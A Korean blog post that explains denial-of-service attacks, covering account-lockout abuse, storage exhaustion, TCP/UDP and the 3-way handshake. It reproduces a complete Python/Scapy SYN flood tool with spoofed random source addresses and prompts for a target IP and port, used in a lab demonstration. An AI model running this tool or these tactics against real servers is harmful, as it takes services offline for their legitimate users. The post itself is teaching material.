이번 블로그에는 간단하게 DoS에 대해 공부해보겠습니다.
DoS란??
DoS(Denial of Service) 말 그대로 서비스 거부 공격입니다.
서비스를 거부한다?? 애플리케이션에서 제공하는 기능들을 서버에 요청을 하면 서버에서 제대로된 서비스를 못하게 하는 것입니다.
DoS 전략!!
1. 애플리케이션 취약점을 이용
2. 서버 리소스를 소모
3. 네트워크 대역폭 소모
+ 물리적 공격 (실제 방화, 테러 등으로 서비스를 이용하지 못하게 함.)
물리적인 공격은 저희랑 상관이 없으니 나머지 3가지에 대해 정리해보겠습니다.
1. 애플리케이션 취약점
애플리케이션에 존재하는 취약점을 이용해 서비스 이용을 불가하게 만드는 것입니다.
예를 들어, 로그인 시 비밀번호 오류 횟수에 제한이 있는 경우 공격자는 모든 계정에 대하여 비밀번호 오류 횟수를 초과하는 로그인 시도하여 모든 계정을 잠금시켜 이용자들이 해당 서비스를 이용하지 못하게 하는 것입니다.
2. 서버 리소스 소모
서버가 가지고 있는 자원을 모두 소모시켜 해당 서버의 서비스를 이용하지 못하게 하는 것입니다.
서버의 자원?? (저장공간이나 CPU등...)
예를 들어, 게시판의 자료 업로드 기능이 있을 경우 공격자는 계속해서 자료를 업로드 시켜 서버의 저장공간을 모두 사용하게하여 다른 이용자는 자료 업로드를 못하게 하는 방법이있습니다.
3. 네트워크 대역폭 소모
네트워크 내에 트래픽을 가득 채워 서비스를 불가하게 만드는 것입니다.
이해하기 위해 네트워크에 대해 알아야하는 것이 있습니다. TCP/UDP 입니다!!!
TCP와 UDP 는 데이터를 보내는 방법을 나눈 것이라고 할 수 있습니다.
TCP는 데이터를 상대방이 내가 보낸 그대로 안전하게 보내기 위한 방법입니다.
UDP는 데이터를 상대방이 제대로된 데이터를 받는 것에 상관없이 보내기 위한 방법입니다.
각자의 특성에 따라 TCP는 안전하게 데이터를 보내기 위한 사전에 연결협상을 합니다.
이것을 3-way handshake라고 합니다.
간단하게 설명하면 먼저 내가 데이터를 보내기위해 연결하자고 요청을 보냅니다. 이때 보내는 것을 SYN 패킷이라고 합니다.
그럼 상대방에서 그래!!하면서 응답으로 ACK 패킷을 보냅니다. 근데 이때 상대방도 연결요청 보내기때문에 SYN 패킷을 함께 보냅니다.
마지막으로 나도 상대방의 연결요청에 대한 응답으로 ACK 패킷을 보냅니다.
이렇게 3단계로 연결을 하기때문에 3-way handshake라고 합니다.

wireshark로 연결 패킷을 확인해보면 데이터를 보내기 전 SYN, SYN+ACK, ACK 패킷이 전달된 것을 확인할 수 있습니다.
이렇게 서로를 신뢰하며 데이터에 대한 안정성을 보장해주는 것이 TCP 입니다.
UDP는 당연히 데이터에 대한 안정성은 필요없이 일단 데이터를 보내기 때문에 위와 같은 연결협상은 필요하지 않습니다.
데이터를 일단 상대방에게 보내고 데이터가 제대로 전송되지 못한 경우에는 그냥 해당 데이터를 다시 보냅니다.



패킷을 보면 데이터를 보내기 전에 연결협상을 하지 않은 것을 확인할 수 있으며 패킷 내용에 데이터 hello가 포함된 것도 확인할 수 있습니다.
이렇게 UDP 는 데이터를 보내기위한 규칙이 정해지지 않고 일단 보내는 것입니다.
그럼 이제 네트워크 내에 트래픽을 가득 채우는 방법 중 한가지를 알 수 있습니다.
SYN 패킷을 사용하는 것인데 연결을 요청하는 SYN 패킷만을 해당 서버로 계속해서 보냅니다.
그럼 해당 서버가 동시 가용한 사용자 수를 넘어 엄청난 양의 SYN 패킷을 보내어 서버의 자원을 소비하여 다른 사용자는 서버를 사용하지 못하게 하는 것입니다.
이것을 SYN Flooding 공격이라고 합니다. 하지만 이때, 한 컴퓨터로 하면 별로 효과를 보지 못하기 때문에 여러 컴퓨터에서 한번에 SYN 패킷을 계속해서 보내 네트워크를 이용하지 못하게 합니다.
이렇게 여러 컴퓨터에 공격을 하도록 지시하여 실행하는 공격이 DDOS(Distributed DoS) 입니다.
DoS 와 DDoS의 차이점은 여기서 확인할 수 있습니다. DoS는 직접 공격하며 DDoS는 여러 감염 컴퓨터를 통해 공격을 실시합니다.
실제 실습
코드는 깃허브에서 가져왔습니다.
#!/usr/bin/python
# Emre Ovunc
# info@emreovunc.com
# Syn Flood Tool Python
from scapy.all import * #scapy 모듈로 패킷 생성
import os
import sys
import random
#공격자 주소 랜덤으로 만들기
def randomIP():
ip = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
return ip
# 포트, 윈도우 등.. 지정
def randInt():
x = random.randint(1000,9000)
return x
#실제 공격
def SYN_Flood(dstIP,dstPort,counter):
total = 0
print ("Packets are sending ...")
# 지정한 수만큼 패킷 생성
for x in range (0,counter):
# 공격자 주소 설정
s_port = randInt()
s_eq = randInt()
w_indow = randInt()
# IP 패킷 생성
IP_Packet = scapy.all.IP()
IP_Packet.src = randomIP() # 공격자 주소
IP_Packet.dst = dstIP # 피해자 주소
# TCP 패킷 생성
TCP_Packet = scapy.all.TCP()
TCP_Packet.sport = s_port # 공격자 포트 임의 지정
TCP_Packet.dport = dstPort # 피해자 포트
TCP_Packet.flags = "S" # SYN 패킷 지정
TCP_Packet.seq = s_eq # 패킷 시퀀스 번호 지정
TCP_Packet.window = w_indow # 패킷 윈도우 크키 지정
# ICMP_Packet = scapy.all.ICMP()
# message = "a"
# TCP/IP 패킷 전송
send(IP_Packet/TCP_Packet, verbose=0)
# send(5*(IP_Packet/ICMP_Packet/(message*60000)), verbose=0)
total+=1
sys.stdout.write("\nTotal packets sent: %i\n" % total)
def info():
os.system("clear")
print ("#############################")
print ("# github.com/EmreOvunc #")
print ("#############################")
print ("# Welcome to SYN Flood Tool #")
print ("#############################")
dstIP = input("\nTarget IP : ")
dstPort = input ("Target Port : ")
return dstIP,int(dstPort)
def main():
dstIP,dstPort = info()
counter = input ("How many packets do you want to send : ")
SYN_Flood(dstIP,dstPort,int(counter))
main()




전송되는 패킷을 보면 보내는 주소가 임의로 지정되어 전송되는 것을 확인할 수 있습니다.

서버에서 지금 네트워크 상태를 확인하면 임의의 주소로 여러 패킷이 보내졌다는 것을 확인할 수 있으며 상태가 SYN_RECV 입니다.
SYN_RECV는 SYN 패킷을 받고 SYN+ACK 패킷을 보냈지만 그에 대한 ACK 응답이 오지 않아 대기 상태를 뜻합니다.
즉, 서버의 자원을 소모 중입니다.
이렇게 간단하게 네트워크를 통해 서버의 자원을 소모하는 것을 해보았습니다.
1번과 2번의 경우 서버에 취약점이 존재해야 가능한 공격이지만 3번의 경우 네트워크를 통해 공격하는 것이기 때문에 어느 서버든 가능합니다.